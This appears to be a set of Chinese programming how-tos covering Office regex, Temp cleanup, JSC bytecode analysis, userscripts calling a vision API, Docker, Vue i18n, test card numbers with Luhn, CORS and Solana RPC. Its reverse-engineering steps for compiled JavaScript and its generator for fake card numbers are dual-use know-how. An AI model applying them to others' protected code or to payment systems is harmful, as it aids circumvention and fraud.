通配符模式 ≠ 正则表达式 Office 自带的查找替换开启"使用通配符"后,支持的是简化版通配符,不是标准正则(PCRE / ECMAScript)。功能 通配符模式 标准正则任意字符 * .*单个字符 ? .数字字符类 [0-9] \d字母字符类 [A-Za-z] \w(有差异)排除字符 [!abc] [^abc]捕获组 () + \1 () + $1懒惰匹配 ❌ 不支持 *?零宽断言 ❌ 不支持 (?=...)\d+ 数字简写 ❌ 不支持 ✅Word 通配符示例 在 Word 查找替换中勾选"使用通配符": # 删除行首的数字编号(如 "1. " "12. ") 查找: [0-9]{1,}. 替换: (留空)# 把 "第X章" 中的数字替换为"第一章"形式——仅捕获数字 查找: (第)[0-9]{1,}(章) 替换: \1一\2# 删除括号内的内容(非嵌套) 查找: \([!)]*\) 替换: (留空)Word 通配符中 {n,m} 表示重复次数,不是标准正则的 {n,m}。Excel 原生通配符(非查找替换) Excel 公式里(COUNTIF、VLOOKUP 等)支持 * 和 ?,不支持字符类 [0-9]: =COUNTIF(A:A,"*错误*") ' 包含"错误"的单元格数 =COUNTIF(A:A,"????") ' 恰好4个字符查找替换对话框(Ctrl+H)同理,勾选"单元格匹配"后才能精确匹配整个单元格。 VBA 实现真正的正则(推荐) 在 Excel 里按 Alt+F11 打开 VBE,插入模块: ' 正则替换函数(可在单元格直接使用) Function RegReplace(text As String, pattern As String, replacement As String) As String With CreateObject("VBScript.RegExp") .Global = True .IgnoreCase = False .Pattern = pattern RegReplace = .Replace(text, replacement) End With End Function' 正则匹配提取函数 Function RegExtract(text As String, pattern As String) As String Dim re As Object Set re = CreateObject("VBScript.RegExp") re.Pattern = pattern re.Global = False If re.Test(text) Then RegExtract = re.Execute(text)(0).Value Else RegExtract = "" End If End Function单元格用法: =RegReplace(A1,"\d+","[数字]") ' 把数字替换为[数字] =RegReplace(A1,"^\s+|\s+$","") ' 去首尾空格(等价于 TRIM) =RegExtract(A1,"\d{11}") ' 提取11位手机号 =RegExtract(A1,"[一-龥]+") ' 提取第一段中文批量替换整列: Sub BatchRegReplace() Dim re As Object Set re = CreateObject("VBScript.RegExp") re.Global = True re.Pattern = "\s+" ' 合并多个空格 Dim cell As Range For Each cell In Range("A1:A100") If cell.Value <> "" Then cell.Value = re.Replace(cell.Value, " ") End If Next cell End SubPower Query 方案 Excel → 数据 → 获取数据 → 启动 Power Query 编辑器,M 语言示例: // 提取列中的数字 = Table.TransformColumns( Source, {{"Column1", each Text.Select(_, {"0".."9"}), type text}} )// 删除非字母数字字符 = Table.TransformColumns( Source, {{"Column1", each Text.Select(_, {"A".."Z","a".."z","0".."9"}), type text}} )Power Query 不支持完整正则,但 Text.Select / Text.Remove 加字符范围可覆盖大多数清洗需求。 Word 宏调用正则 Sub WordRegexReplace() Dim re As Object Set re = CreateObject("VBScript.RegExp") re.Global = True re.Pattern = "\b\d{4}-\d{2}-\d{2}\b" ' 匹配日期格式 YYYY-MM-DD Dim doc As Document Set doc = ActiveDocument Dim para As Paragraph For Each para In doc.Paragraphs para.Range.Text = re.Replace(para.Range.Text, "[日期]") Next para End Sub选择建议场景 方案简单通配(含*/?/字符类) 查找替换 + 通配符\d+ 等 PCRE 语法 VBA + VBScript.RegExp大批量数据清洗 Power Query需要留存为可复用公式 RegReplace 自定义函数对正则有复杂要求 导出 CSV → Python / Node.js 处理后导回
Windows bat 脚本清理 Temp 目录:%TEMP% 变量与 del/rmdir 用法
用 %TEMP% 清理当前用户临时目录 @echo off setlocalecho 当前用户: %USERNAME% echo Temp目录: %TEMP%:: 删除文件(/f 强制 /s 子目录 /q 静默) del /f /s /q "%TEMP%\*" >nul 2>&1:: 删除空文件夹 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1echo 清理完成 pause%TEMP% 是 Windows 内建变量,直接指向当前用户的临时目录(通常是 C:\Users\用户名\AppData\Local\Temp),不需要手动拼路径。 同时清理系统 Temp(需管理员) @echo off setlocal:: 用户 temp del /f /s /q "%TEMP%\*" >nul 2>&1 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1:: 系统 temp(需要管理员权限运行) del /f /s /q "C:\Windows\Temp\*" >nul 2>&1 for /d %%p in ("C:\Windows\Temp\*") do rmdir /s /q "%%p" >nul 2>&1echo 清理完成 pause手动拼接路径写法 如果需要明确用户名,也可以用 %USERNAME% 拼路径: set USER_TEMP=C:\Users\%USERNAME%\AppData\Local\Tempdel /f /s /q "%USER_TEMP%\*" >nul 2>&1 for /d %%p in ("%USER_TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1两种写法效果一致,推荐用 %TEMP% 更简洁。 常见问题 部分文件删不掉 正常现象。系统正在使用的文件(如浏览器缓存、日志)不会被删,>nul 2>&1 会把错误输出吞掉,脚本继续执行,不影响其他文件的清理。 清理完大小没变化 有些文件夹包含只读属性文件。可以在 del 前加 /a 参数(包含只读): del /f /s /q /a "%TEMP%\*" >nul 2>&1不要手动清 C:\Windows\System32\config\systemprofile\AppData\Local\Temp,这是系统服务的临时目录。 设为计划任务定期执行把脚本保存为 clean_temp.bat 打开"任务计划程序"(Task Scheduler) 创建基本任务 → 触发器选"登录时"或"每周" 操作选"启动程序" → 指向 clean_temp.bat 权限选"使用最高权限运行"这样每次登录自动清理,免手动执行。
JSC 文件分析:V8 字节码、bytenode 产物与字符串提取
JSC 文件的三种类型 .jsc 不是一种统一格式,常见有三类:类型 本质 能否反编译bytenode 生成 V8 字节码 基本不能还原源码JavaScriptCore(iOS/WebKit) JSCore 缓存 无稳定通用工具微信小程序 V8 字节码或混淆加密体 几乎不可能还原核心结论:JSC 是编译产物,不是源码压缩。变量名、结构、注释已丢失,不存在完美反编译。 View8 报错原因 RuntimeError: Failed to detect version for file index.jscView8 要先检测 V8 版本,失败通常是这几个原因:文件不是 V8 cache——bytenode 生成的 .jsc 结构与 V8 code cache 不同 .jsc 被加了 header、base64 或 zip 包装 V8 版本超出 View8 支持范围(通常只支持 8.x~11.x)用 Python 快速判断: with open("index.jsc", "rb") as f: print(f.read(32).hex())V8 code cache 开头有固定的 magic bytes。如果头部是乱码或压缩特征,View8 直接放弃。 Python 提取可读字符串 不管是哪种 JSC,都可以先提取二进制文件中的可读字符串,判断是否有逆向价值: import rewith open("index.jsc", "rb") as f: data = f.read()strings = re.findall(rb"[ -~]{6,}", data)seen = set() for s in strings: text = s.decode("utf-8", errors="ignore") if text not in seen: seen.add(text) print(text)正则 [ -~]{6,} 匹配长度 >= 6 的 ASCII 可读字符串。 结果判断:出现 /api/、token、userInfo 等 → 文件未加密,有分析价值 全是乱码 → 已加密或压缩,需换思路bytenode JSC 的运行时分析 bytenode 产物无法静态反编译,但可以在 Node.js 中加载后 hook: require("bytenode");// hook 所有函数调用 const originalCall = Function.prototype.call; Function.prototype.call = function(...args) { if (this.name) { console.log("[call]", this.name, args.slice(0, 2)); } return originalCall.apply(this, args); };require("./index.jsc");或者用 Node.js inspect 调试: node --inspect-brk -e "require('bytenode'); require('./index.jsc')"然后用 Chrome DevTools 连接 chrome://inspect,可以打断点、查看调用栈。 三种方案对比方案 成功率 适用场景Python strings 提取 高(未加密) 快速判断有无价值运行时 hook 高 bytenode 产物Node inspect 调试 高 有 require 入口静态 V8 字节码分析 低 仅作辅助对于加密 JSC(AES/RC4 加密,或微信小游戏自定义 VM),以上方法均不适用,需要先逆向解密逻辑。
JS 获取今天零点并前后偏移 N 小时:Date setHours 与时区格式化
获取今天零点 const now = new Date(); const midnight = new Date(now); midnight.setHours(0, 0, 0, 0);console.log(midnight); // Mon Apr 14 2026 00:00:00 GMT+0800setHours(0, 0, 0, 0) 四个参数分别是小时、分钟、秒、毫秒,全设为 0 就是当天零点(本地时间)。 往后推 N 小时 const now = new Date(); const start = new Date(now); start.setHours(0, 0, 0, 0);const N = 10000; const end = new Date(start.getTime() + N * 60 * 60 * 1000);console.log("开始:", start); console.log("结束:", end); // 10000 小时 ≈ 416 天 + 16 小时后往前推 N 小时 const before = new Date(start.getTime() - N * 60 * 60 * 1000);console.log("今天零点:", start); console.log("往前 10000 小时:", before); // 约 416 天前时区问题:toISOString() 是 UTC console.log(start.toISOString()); // "2026-04-13T16:00:00.000Z" ← UTC 时间,比北京时间少 8 小时toISOString() 始终输出 UTC 时间。中国时区(UTC+8)的零点在 UTC 是前一天 16:00,如果直接用这个输出给后端或用于显示会有偏差。 本地时间格式化: function formatLocal(date) { return [ date.getFullYear(), String(date.getMonth() + 1).padStart(2, "0"), String(date.getDate()).padStart(2, "0") ].join("-") + " " + [ String(date.getHours()).padStart(2, "0"), String(date.getMinutes()).padStart(2, "0"), String(date.getSeconds()).padStart(2, "0") ].join(":"); }console.log(formatLocal(start)); // "2026-04-14 00:00:00" console.log(formatLocal(end)); // "2027-06-30 16:00:00"生成时间序列 K 线拉取、回测等场景需要每小时一个时间点的数组: function generateHourlyRange(startDate, hours) { const step = 60 * 60 * 1000; const arr = []; for (let i = 0; i <= hours; i++) { arr.push(new Date(startDate.getTime() + i * step)); } return arr; }const start = new Date(); start.setHours(0, 0, 0, 0);const range = generateHourlyRange(start, 24); console.log(range.slice(0, 3).map(formatLocal)); // ["2026-04-14 00:00:00", "2026-04-14 01:00:00", "2026-04-14 02:00:00"]往前推的时间序列只需把 + i * step 改成 - i * step。 与后端接口对接 如果后端接受的是 Unix 时间戳(秒): const startTs = Math.floor(start.getTime() / 1000); const endTs = Math.floor(end.getTime() / 1000);fetch(`/api/kline?start=${startTs}&end=${endTs}`)如果后端接受 ISO 字符串(UTC): const params = new URLSearchParams({ start: start.toISOString(), end: end.toISOString() });两者都是基于 getTime() 的毫秒时间戳,不存在时区歧义,只是显示层面需要处理本地时区。
ScriptCat / Tampermonkey 用 GM_xmlhttpRequest 调用 AI 视觉接口
为什么必须用 GM_xmlhttpRequest 用户脚本环境里调用第三方 API,普通 fetch 会被浏览器 CORS 限制卡死。GM_xmlhttpRequest 是油猴环境提供的跨域请求接口,可以绕过这个限制: // ❌ 这样会报 CORS 错误 fetch("https://open.bigmodel.cn/api/paas/v4/chat/completions", {...})// ✅ 用 GM_xmlhttpRequest GM_xmlhttpRequest({ method: "POST", url: "https://open.bigmodel.cn/api/paas/v4/chat/completions", ... })脚本头部必须声明权限: // @grant GM_xmlhttpRequest完整示例:调用视觉模型分析页面图片 // ==UserScript== // @name AI 图片分析 // @namespace http://tampermonkey.net/ // @version 1.0 // @match *://*/* // @grant GM_xmlhttpRequest // ==/UserScript==(function () { const API_KEY = "your-api-key"; // 换成你的 key function getImagesFromPage() { const imgs = document.querySelectorAll("img"); return Array.from(imgs) .slice(0, 3) .map(img => ({ type: "image_url", image_url: { url: img.src || img.dataset.src // 处理懒加载 } })) .filter(item => item.image_url.url); } function requestAI(imageItems) { GM_xmlhttpRequest({ method: "POST", url: "https://open.bigmodel.cn/api/paas/v4/chat/completions", headers: { "Content-Type": "application/json", "Authorization": "Bearer " + API_KEY }, data: JSON.stringify({ model: "glm-4v", messages: [ { role: "user", content: [ ...imageItems, { type: "text", text: "请分析这些图片的内容" } ] } ] }), onload: function (res) { try { const data = JSON.parse(res.responseText); const answer = data?.choices?.[0]?.message?.content; console.log("AI 回答:", answer); alert(answer); } catch (e) { console.error("解析失败", e); } }, onerror: function (err) { console.error("请求失败", err); } }); } const images = getImagesFromPage(); if (images.length > 0) { requestAI(images); } })();图片来源处理 指定区域内的图片 function getQuestionImages() { const container = document.querySelector(".question-area"); if (!container) return []; return Array.from(container.querySelectorAll("img")).map(img => ({ type: "image_url", image_url: { url: new URL(img.getAttribute("src") || "", location.href).href } })); }new URL(src, location.href).href 可以把相对路径补全为绝对 URL。 canvas 图片转 base64 页面是 canvas 渲染(反爬、PDF 等)时,需要截图再传: function getCanvasImage() { const canvas = document.querySelector("canvas"); if (!canvas) return []; return [{ type: "image_url", image_url: { url: canvas.toDataURL("image/png") // data:image/png;base64,... } }]; }大多数视觉模型 API 同时支持 URL 和 base64 格式的图片。 常见问题 GM_xmlhttpRequest is not a function脚本头部没有声明 @grant GM_xmlhttpRequest。 图片 URL 404 / 模型报错 图片 URL 必须能公网访问,localhost、blob:、file:// 都不行 带签名的临时 URL(如 S3 presigned URL)容易过期,建议转 base64@grant none 和 @grant GM_xmlhttpRequest 冲突用了 GM API 就不能同时 @grant none,两者互斥。 绑定到按钮 把 AI 调用绑定到页面按钮,点击时分析当前可见的图片: const btn = document.createElement("button"); btn.textContent = "AI 分析"; Object.assign(btn.style, { position: "fixed", right: "20px", bottom: "20px", padding: "10px 18px", background: "#2563eb", color: "#fff", border: "none", borderRadius: "8px", cursor: "pointer", zIndex: 9999 }); btn.onclick = () => requestAI(getImagesFromPage()); document.body.appendChild(btn);
Docker 镜像拉取失败:proxyconnect tcp EOF 与国内镜像源配置
proxyconnect tcp: EOF 这个错误不是 Docker Hub 故障,而是 Docker daemon 正在使用一个不可达的代理。 快速诊断 # 查看 Docker 是否配置了代理 docker info | grep -i proxy# 查看环境变量 env | grep -i proxy如果看到: HTTP Proxy: http://127.0.0.1:7890说明 Docker 正在走代理,需要验证代理是否可用: curl -x http://127.0.0.1:7890 https://registry-1.docker.io/v2/返回 {} 或认证信息 → 代理正常 EOF / timeout → 代理链路断了 Connection refused → 代理未启动方案一:清除代理环境变量(临时) unset http_proxy unset https_proxy unset HTTP_PROXY unset HTTPS_PROXYdocker pull redis:latest如果此时能拉成功,说明就是代理问题。 方案二:配置国内镜像源(推荐) sudo mkdir -p /etc/docker sudo nano /etc/docker/daemon.json写入: { "registry-mirrors": [ "https://mirror.ccs.tencentyun.com", "https://registry.docker-cn.com" ] }然后重启: sudo systemctl daemon-reexec sudo systemctl restart docker验证: docker info | grep -A5 "Registry Mirrors"方案三:正确配置 Docker daemon 使用代理 Docker 不会自动读取系统代理(即使浏览器能上网),需要单独配置: sudo mkdir -p /etc/systemd/system/docker.service.d sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf写入: [Service] Environment="HTTP_PROXY=http://127.0.0.1:7890" Environment="HTTPS_PROXY=http://127.0.0.1:7890" Environment="NO_PROXY=localhost,127.0.0.1"注意:代理地址必须用 http://,不能写 https://: HTTPS_PROXY=https://127.0.0.1:7890 ← 错误 HTTPS_PROXY=http://127.0.0.1:7890 ← 正确重新加载: sudo systemctl daemon-reload sudo systemctl restart docker常见坑 Docker 不继承系统代理:Clash/sing-box 开了,Docker 仍然无法自动使用,必须显式配置 /etc/systemd/system/docker.service.d/http-proxy.conf。 proxyconnect tcp: EOF 和 connection refused 的区别:EOF → 代理在监听但链路断了(软件崩溃、配置错误) refused → 代理根本没有在对应端口监听
Python 移动 / 复制目录的正确写法:shutil 全场景速查
Python 里"移动整个目录"或"把文件全复制到另一处"这类操作,全部靠 shutil。列几个最常用的模板。 移动整个目录 99% 场景直接: import shutilshutil.move(r"C:\source_dir", r"D:\target_dir")行为:目标不存在 → 直接改名/移动 目标已存在 → 源被移到 目标\源目录名 同盘 是秒移(本质是 rename) 跨盘 会退化成复制 + 删除想强制覆盖已有目标: import os, shutilsrc = r"C:\source_dir" dst = r"D:\target_dir\source_dir"if os.path.exists(dst): shutil.rmtree(dst) shutil.move(src, dst)复制整个目录(含子目录) Python 3.8+: import shutilshutil.copytree( r"C:\source_dir", r"D:\target_dir", dirs_exist_ok=True, # 目标已存在时合并写入 )会连带子目录、文件属性一起复制。 只复制当前目录里的文件(跳过子目录) import os, shutilsrc = r"C:\source_dir" dst = r"D:\target_dir" os.makedirs(dst, exist_ok=True)for name in os.listdir(src): s = os.path.join(src, name) if os.path.isfile(s): shutil.copy2(s, os.path.join(dst, name))copy2 会保留 mtime、权限,比 copy 更完整。 只复制某类文件 import os, shutilfor name in os.listdir(src): if name.endswith(".txt"): shutil.copy2( os.path.join(src, name), os.path.join(dst, name), )递归复制文件(扁平化,不保留目录结构) import os, shutilfor root, _, files in os.walk(src): for f in files: shutil.copy2(os.path.join(root, f), os.path.join(dst, f))注意同名文件会互相覆盖,要保结构就直接 copytree。 用 pathlib 版本(更现代) from pathlib import Path import shutilsrc = Path(r"D:\A\deep\folder") dst = Path(r"D:\B\deep\folder")if dst.exists(): shutil.rmtree(dst) dst.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(src, dst)Path 的 parent / mkdir(parents=True) 组合特别适合处理"目标父目录还没创建"的情况。 不要用 os.rename os.rename(src, dst)跨磁盘直接报错 不能覆盖已有目录除非明确是"同盘、无冲突",否则直接上 shutil.move。 一句话总结 移动用 shutil.move,整目录复制用 shutil.copytree(dirs_exist_ok=True)。其它场景在这两个基础上按需组合。
Vue 项目国际化(i18n)配置:vue-i18n 基础用法
Vue 项目做多语言支持用 vue-i18n,核心是:把文字抽成 key-value 的语言文件,组件里用 $t('key') 调用。 安装 npm install vue-i18n创建语言文件 src/ ├── locales/ │ ├── zh-CN.json │ └── en-US.json// zh-CN.json { "setup": { "logout": "退出登录", "language": "语言设置", "version": "版本更新", "clearCache": "清理缓存", "darkMode": "暗黑模式" }, "ok": "确定", "cancel": "取消" }// en-US.json { "setup": { "logout": "Logout", "language": "Language", "version": "Version Update", "clearCache": "Clear Cache", "darkMode": "Dark Mode" }, "ok": "OK", "cancel": "Cancel" }配置 i18n 实例 // src/i18n/index.ts import { createI18n } from "vue-i18n"; import zhCN from "../locales/zh-CN.json"; import enUS from "../locales/en-US.json";const savedLocale = localStorage.getItem("lang") || "zh-CN";export const i18n = createI18n({ legacy: false, // 使用 Composition API 模式 locale: savedLocale, fallbackLocale: "zh-CN", messages: { "zh-CN": zhCN, "en-US": enUS, }, });// main.ts import { createApp } from "vue"; import App from "./App.vue"; import { i18n } from "./i18n";createApp(App).use(i18n).mount("#app");组件内使用 Options API <template> <button @click="handleLogout">{{ $t('setup.logout') }}</button> <span>{{ $t('ok') }}</span> </template>Composition API import { useI18n } from "vue-i18n";const { t } = useI18n(); console.log(t("setup.logout")); // "退出登录"动态切换语言 import { useI18n } from "vue-i18n";const { locale } = useI18n();function switchLanguage(lang: string) { locale.value = lang; localStorage.setItem("lang", lang); }// 切换到英文 switchLanguage("en-US");带参数的翻译 // zh-CN.json { "greeting": "你好,{name}!", "items": "共 {count} 个项目" }<template> <p>{{ $t('greeting', { name: 'Soulock' }) }}</p> <p>{{ $t('items', { count: 42 }) }}</p> </template>语言列表组件示例 <template> <div v-for="lang in languageList" :key="lang.id" @click="switchTo(lang)"> <span>{{ lang.label }}</span> <span v-if="currentLang === lang.id">✓</span> </div> </template><script setup lang="ts"> import { ref } from "vue"; import { useI18n } from "vue-i18n";const { locale } = useI18n();const languageList = [ { id: "zh-CN", label: "简体中文" }, { id: "en-US", label: "English" }, { id: "ja-JP", label: "日本語" }, ];const currentLang = ref(locale.value);function switchTo(lang: { id: string; label: string }) { locale.value = lang.id; currentLang.value = lang.id; localStorage.setItem("lang", lang.id); } </script>按需加载语言包 语言多时可以懒加载,避免全部打包: async function loadLocale(lang: string) { const messages = await import(`../locales/${lang}.json`); i18n.global.setLocaleMessage(lang, messages.default); i18n.global.locale.value = lang; }第一次切换到某语言时再加载对应文件,减小初始包体积。
开发测试用什么信用卡号:Stripe 测试卡 + Luhn 算法
做支付集成 / 电商网站开发,需要在开发环境测试信用卡表单——不能用真实卡号(隐私、合规、可能被误扣款)。正规做法:用支付平台官方提供的测试卡号,只在 sandbox / test 模式下有效。 Stripe 测试卡(最常用) Stripe 的 test key(以 sk_test_ 开头)下这些卡号完全有效:卡号 场景4242 4242 4242 4242 Visa 成功4000 0025 0000 3155 3DS 认证成功4000 0000 0000 9995 余额不足4000 0000 0000 0002 拒绝4000 0000 0000 0069 过期卡4000 0000 0000 0127 CVV 错误5555 5555 5555 4444 Mastercard 成功3782 822463 10005 Amex 成功其它字段:有效期:任意未来日期(比如 12/34) CVV:任意 3 位数字(Amex 是 4 位) 邮编:任意 5 位(美国)完整列表:docs.stripe.com/testing 其它支付平台 PayPal Sandbox:注册测试账号(personal + business),登录时用测试账号密码,不用真实卡号。 Braintree: 4111 1111 1111 1111 → Visa 成功 4000 1111 1111 1115 → Visa 拒绝Adyen: 4111 1111 4555 1142 → Visa 成功 2223 0000 4841 0010 → Mastercard 成功支付宝 / 微信支付沙箱:用它们的沙箱环境,扫码支付按提示走。国内也不涉及信用卡。 Luhn 算法:卡号是怎么校验的 信用卡号的最后一位是校验位,用 Luhn(罗恩)算法生成,防止手误。这算法能查错但不能验真——只保证格式合法,不能保证卡真的存在。 规则:从右往左数,偶数位(第 2、4、6... 位)乘 2 乘完之后 > 9 的,减 9(等价于两位数字相加) 所有数字相加 和是 10 的倍数 → 合法例:4242 4242 4242 4242 4 2 4 2 4 2 4 2 4 2 4 2 4 2 4 2 ×2 ×2 ×2 ×2 ×2 ×2 ×2 ×2 = 8 2 8 2 8 2 8 2 8 2 8 2 8 2 8 2 和 = 80,能被 10 整除 → 合法Python 实现 Luhn 校验 def luhn_check(card: str) -> bool: digits = [int(c) for c in card if c.isdigit()] if not digits: return False total = 0 for i, d in enumerate(reversed(digits)): if i % 2 == 1: # 偶数位(从右数) d *= 2 if d > 9: d -= 9 total += d return total % 10 == 0print(luhn_check("4242 4242 4242 4242")) # True print(luhn_check("4242 4242 4242 4241")) # False生成一个合法但假的卡号 前 15 位随便填,用 Luhn 算最后一位: def luhn_checksum(partial: str) -> int: """给一串数字算 Luhn 校验位""" digits = [int(c) for c in partial] total = 0 for i, d in enumerate(reversed(digits)): if i % 2 == 0: # 从右数第一位不动 d *= 2 if d > 9: d -= 9 total += d return (10 - total % 10) % 10# 例:Visa 前缀 4,前 15 位随便填 partial = "424242424242424" check = luhn_checksum(partial) card = partial + str(check) print(card) # 4242424242424242注意:这样生成的卡号格式合法但不代表真的能用——支付网关会实时验证 BIN、发卡行、账户状态。用于开发时的假数据填充可以,但绕不过实际支付流程。 卡号结构 一张信用卡号一般 15-16 位: 4 2 4 2 4 2 4 2 4 2 4 2 4 2 4 2 ├───┤ ├─────────────┤ BIN 账户 + 校验位 6 位 后面剩余BIN(前 6 位):Bank Identification Number,标识发卡机构 中间位:账户号 最后一位:Luhn 校验位发卡组织前缀:起始位 卡种4 Visa51-55, 22-27 Mastercard34, 37 Amex6011, 65 Discover62 银联35 JCBCVV 是什么CVV1:磁条里的验证码 CVV2:卡背面 3 位数字(Amex 是正面 4 位) 网上支付都用 CVV2Stripe 测试环境里 CVV 任意 3 位都行——真实场景由发卡行验证。 一句话总结 开发 / 测试永远用 Stripe 等平台的官方测试卡号(4242 4242 4242 4242),不要用真实卡号。Luhn 算法可以做格式校验和假数据生成,但格式合法 ≠ 真的能用。真实交易由支付网关全套验证。
跨域 CORS 完整解决方案:后端、Nginx、前端代理全覆盖
跨域的本质 浏览器的同源策略阻止了跨源请求:协议、域名、端口任一不同即为跨域。服务端不受此限制,同源策略是浏览器行为,后端直接请求后端不存在跨域问题。 浏览器在发送非简单请求前会先发一个 OPTIONS 预检请求(preflight),服务端必须正确响应: Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization后端配置(根本解法) Node.js / Express 最简单的做法是手动加响应头,或使用 cors 中间件: // 手动写 app.use((req, res, next) => { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS"); res.header("Access-Control-Allow-Headers", "Content-Type,Authorization"); if (req.method === "OPTIONS") return res.sendStatus(200); next(); });// 或使用 cors 包 const cors = require("cors"); app.use(cors({ origin: "https://your-frontend.com", methods: ["GET", "POST"], allowedHeaders: ["Content-Type", "Authorization"] }));生产环境不要用 *,写具体允许的 origin。带 credentials 时更不能用 *: app.use(cors({ origin: "https://your-frontend.com", credentials: true // 允许 Cookie }));Spring Boot 单个接口: @CrossOrigin(origins = "*", methods = {RequestMethod.GET, RequestMethod.POST}) @RestController public class MyController { @GetMapping("/api/data") public String getData() { ... } }全局配置(推荐统一管理): @Configuration public class CorsConfig implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/api/**") .allowedOrigins("https://your-frontend.com") .allowedMethods("GET", "POST", "PUT", "DELETE") .allowedHeaders("*") .allowCredentials(true) .maxAge(3600); } }Nginx 反向代理配置 适合把前端和后端统一在同一域名下,或给第三方接口套一层代理: location /api/ { proxy_pass http://backend:8080; add_header Access-Control-Allow-Origin $http_origin always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; add_header Access-Control-Allow-Headers "Content-Type, Authorization" always; add_header Access-Control-Allow-Credentials true always; if ($request_method = OPTIONS) { return 204; } }always 参数确保在非 200 响应(如 4xx、5xx)时也带上跨域头。 前端开发环境代理 开发阶段用本地代理把请求转发到后端,不产生跨域: Vite: // vite.config.js export default defineConfig({ server: { proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true, rewrite: (path) => path.replace(/^\/api/, '') } } } });Vue CLI / webpack-dev-server: // vue.config.js module.exports = { devServer: { proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } } } };Create React App: // package.json { "proxy": "http://localhost:8080" }JSONP(仅 GET,老项目兼容) 利用 <script> 标签不受同源限制: <script src="https://api.example.com/data?callback=onData"></script> <script> function onData(data) { console.log(data); // { "name": "test" } } </script>服务端返回: onData({"name":"test"})JSONP 只支持 GET,现代项目不推荐,但对接老旧第三方接口时可能还会遇到。 后端转发(BFF 模式) 前端请求自己的服务端,由服务端再去请求第三方接口: 浏览器 → 自己的后端(同源)→ 第三方 API这样浏览器始终只看到同源请求,完全绕开 CORS 限制。适合第三方接口不支持配置 CORS 的情况。 方案速查场景 推荐方案生产环境,自己控制后端 后端配置 CORS 响应头生产环境,用 Nginx Nginx 加 Access-Control-* 头开发环境调试 本地代理(Vite/Vue CLI/CRA)第三方接口不支持 CORS 后端转发(BFF)老项目只有 GET 需求 JSONP临时调试(不上线) 浏览器 CORS 插件
查 Solana 钱包交易:Solscan API vs 原生 RPC
Solana 生态里,Solscan 是最常用的区块浏览器(类似以太坊的 Etherscan)。除了网页查询,它也有 API——加上 Solana 原生 RPC,就够做钱包监控 / 交易分析 / DeFi 数据抓取了。 Solscan 网页能查什么交易:交易 hash → 转账明细、手续费、状态 钱包地址:余额、SPL Token、NFT、历史交易 区块:高度、出块时间、确认数 代币:合约详情、持币地址、24h 交易量 NFT:铸造、转移 DeFi:部分 DEX / 质押 / 借贷协议数据日常查东西直接搜地址或 hash 就行。要批量、定时、集成到自己系统里就得走 API。 Solscan Pro API 老公共 API public-api.solscan.io 现在已经不推荐了,改用 Pro API pro-api.solscan.io(免费额度也有)。 账户交易列表: GET https://pro-api.solscan.io/v2.0/account/transactions?address=<WALLET>&limit=10 Header: token: <API_KEY>账户详情(余额、类型): GET https://pro-api.solscan.io/v2.0/account/detail?address=<WALLET>代币持仓: GET https://pro-api.solscan.io/v2.0/account/token-accounts?address=<WALLET>去 pro-api.solscan.io 申请免费 API Key。速率限制看套餐,免费大概 60 次/分钟。 Solana 原生 RPC(更灵活) 不想被限流、想拿完整交易数据,走 JSON-RPC。任何 Solana 节点都支持。 列钱包最近交易签名: POST https://api.mainnet-beta.solana.com Content-Type: application/json{ "jsonrpc": "2.0", "id": 1, "method": "getSignaturesForAddress", "params": [ "<WALLET>", { "limit": 20, "commitment": "finalized" } ] }查单笔交易详情: { "jsonrpc": "2.0", "id": 1, "method": "getTransaction", "params": [ "<SIGNATURE>", { "encoding": "jsonParsed", "maxSupportedTransactionVersion": 0 } ] }jsonParsed 编码会把系统程序、Token 程序的指令解析成人可读的 JSON,比 base58 好读多了。 Python 版本:定时监控新交易 import time import requestsRPC = "https://api.mainnet-beta.solana.com" WALLET = "<你的钱包地址>"seen = set()def rpc(method, params): r = requests.post(RPC, json={ "jsonrpc": "2.0", "id": 1, "method": method, "params": params, }, timeout=10) return r.json().get("result")def poll(): sigs = rpc("getSignaturesForAddress", [WALLET, {"limit": 20}]) or [] for s in reversed(sigs): sig = s["signature"] if sig in seen: continue seen.add(sig) tx = rpc("getTransaction", [ sig, {"encoding": "jsonParsed", "maxSupportedTransactionVersion": 0}, ]) if not tx: continue block_time = tx.get("blockTime") err = tx["meta"]["err"] print(f"新交易 {sig[:16]}... block_time={block_time} err={err}") # 这里根据业务解析 innerInstructions 判断是转账 / swap / mintwhile True: try: poll() except Exception as e: print("poll error:", e) time.sleep(15)要点:seen 记忆已处理签名,避免重复 reversed() 让最老的先出,保持时间顺序 生产上把 seen 落地到 Redis / SQLite,重启不丢免费 RPC 的坑 api.mainnet-beta.solana.com 是 Solana Labs 的公共节点,速率限制很紧,高频请求会 429。生产环境走托管 RPC:Helius — 免费 10 万请求/月 QuickNode Alchemy Solana Chainstack免费额度足够个人项目。 拿 SPL Token 余额 { "jsonrpc": "2.0", "id": 1, "method": "getTokenAccountsByOwner", "params": [ "<WALLET>", { "programId": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA" }, { "encoding": "jsonParsed" } ] }programId 是 SPL Token 程序的地址,返回该钱包持有的所有 SPL Token 账户,包含 mint 地址、余额、decimals。 一句话总结 Solscan API 好用但有限流,Solana 原生 RPC 更自由。核心组合 getSignaturesForAddress + getTransaction,生产环境别用免费公共节点,走 Helius / QuickNode。
Python logging 同时输出到文件和控制台
